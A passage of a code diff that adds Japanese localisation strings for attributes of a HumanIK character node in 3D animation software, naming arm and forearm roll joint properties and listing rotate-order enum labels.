の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimitEnablez", "左腕ロール 5 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5", "左前腕ロール 5 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5T", "左前腕ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Tx", "左前腕ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Ty", "左前腕ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Tz", "左前腕ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5R", "左前腕ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Rx", "左前腕ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Ry", "左前腕ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Rz", "左前腕ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5S", "左前腕ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Sx", "左前腕ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Sy", "左前腕ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Sz", "左前腕ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", "左前腕ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateAxis", "左前腕ロール 5 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateAxisx", "左前腕ロール 5 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateAxisy", "左前腕ロール 5 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateAxisz", "左前腕ロール 5 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5JointOrient", "左前腕ロール 5 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5JointOrientx", "左前腕ロール 5 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5JointOrienty", "左前腕ロール 5 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5JointOrientz", "左前腕ロール 5 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimit", "左前腕ロール 5 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimitx", "左前腕ロール 5 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimity", "左前腕ロール 5 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimitz", "左前腕ロール 5 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimit", "左前腕ロール 5 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimitx", "左前腕ロール 5 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimity", "左前腕ロール 5 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimitz", "左前腕ロール 5 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimitEnablex", "左前腕ロール 5 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimitEnabley", "左前腕ロール 5 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimitEnablez", "左前腕ロール 5 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimitEnablex", "左前腕ロール 5 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimitEnabley", "左前腕ロール 5 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimitEnablez", "左前腕ロール 5 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5", "右腕ロール 5 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5T", "右腕ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Tx", "右腕ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Ty", "右腕ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Tz", "右腕ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5R", "右腕ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Rx", "右腕ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Ry", "右腕ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Rz", "右腕ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5S", "右腕ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Sx", "右腕ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Sy", "右腕ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Sz", "右腕ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", "右腕ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5RotateAxis", "右腕ロール 5 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5RotateAxisx", "右腕ロール 5 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5RotateAxisy", "右腕ロール 5 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5RotateAxisz", "右腕ロール 5 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5JointOrient", "右腕ロール 5 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5JointOrientx", "右腕ロール 5 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5JointOrienty", "右腕ロール 5 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5JointOrientz", "右腕ロール 5 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimit", "右腕ロール 5 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimitx", "右腕ロール 5 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimity", "右腕ロール 5 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimitz", "右腕ロール 5 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimit", "右腕ロール 5 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimitx", "右腕ロール 5 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimity", "右腕ロール 5 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimitz", "右腕ロール 5 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimitEnablex", "右腕ロール 5 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimitEnabley", "右腕ロール 5 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimitEnablez", "右腕ロール 5 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimitEnablex", "右腕ロール 5 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimitEnabley", "右腕ロール 5 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimitEnablez", "右腕ロール 5 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5", "右前腕ロール 5 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5T", "右前腕ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Tx", "右前腕ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Ty", "右前腕ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Tz", "右前腕ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5R", "右前腕ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Rx", "右前腕ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Ry", "右前腕ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Rz", "右前腕ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5S", "右前腕ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Sx", "右前腕ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Sy", "右前腕ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Sz", "右前腕ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", "右前腕ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateAxis", "右前腕ロール 5 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateAxisx", "右前腕ロール 5 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateAxisy", "右前腕ロール 5 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateAxisz", "右前腕ロール 5 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5JointOrient", "右前腕ロール 5 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5JointOrientx", "右前腕ロール 5 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5JointOrienty", "右前腕ロール 5 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5JointOrientz", "右前腕ロール 5 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimit", "右前腕ロール 5 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimitx", "右前腕ロール 5 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimity", "右前腕ロール 5 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimitz", "右前腕ロール 5 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimit", "右前腕ロール 5 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimitx", "右前腕ロール 5 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimity", "右前腕ロール 5 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimitz", "右前腕ロール 5 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimitEnablex", "右前腕ロール 5 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimitEnabley", "右前腕ロール 5 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimitEnablez", "右前腕ロール 5 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimitEnablex", "右前腕ロール 5 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimitEnabley", "右前腕ロール 5 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimitEnablez", "右前腕ロール 5 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "fza", "フリーズの影響を受ける" ); +setAttrEnumResource( "HIKCharacterNode", "ReferenceRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "ReferenceRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "ReferenceRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "ReferenceRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "ReferenceRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "ReferenceRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "HipsRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "HipsRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "HipsRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "HipsRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "HipsRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "HipsRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "SpineRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "SpineRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "SpineRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "SpineRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "SpineRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "SpineRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "HeadRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "HeadRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "HeadRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "HeadRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "HeadRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "HeadRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightToeBaseRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightToeBaseRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightToeBaseRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightToeBaseRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightToeBaseRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightToeBaseRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "NeckRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "NeckRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "NeckRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "NeckRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "NeckRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "NeckRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", 